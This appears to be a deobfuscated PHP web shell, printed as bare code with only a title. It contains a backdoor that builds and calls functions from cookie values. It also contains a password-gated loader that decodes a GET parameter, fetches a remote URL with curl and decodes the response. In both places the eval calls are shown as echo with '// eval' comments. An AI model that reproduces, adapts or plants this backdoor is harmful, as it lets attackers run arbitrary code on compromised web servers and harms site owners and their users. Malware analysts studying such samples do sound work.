PHP Shell deobfusacted

<?php
if (in_array(gettype($_COOKIE) . count($_COOKIE), $_COOKIE)
    && count($_COOKIE) == 25
    && $_COOKIE[67] = $_COOKIE[67] . $_COOKIE[80]
    && $_COOKIE[90] = $_COOKIE[67]($_COOKIE[90])

) {
    echo($_COOKIE[67](${$_COOKIE[38]}[29])); // eval
}

class shell
{
    static function curl($url)
    {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $response = curl_exec($ch);
        return empty ($response) ? file_get_contents($url) : $response;
    }

    static function exec()
    {
        $r = str_rot13($_GET['ARRAY']);
        $s = @pack('H*', $r);
        $t = json_decode($s, true);
        if (@$_GET['of'] == 1) die;

        (file_get_contents(__FILE__));
        if (((@$t[0] - time()) > 0) and (md5(md5($t[2])) === "cb508614978e98198cb3d9c89d0fc47f")) {
            $u = self::curl($t[1]);
            echo(base64_decode($u)); // eval
            die;
        }
    }
}

shell::exec();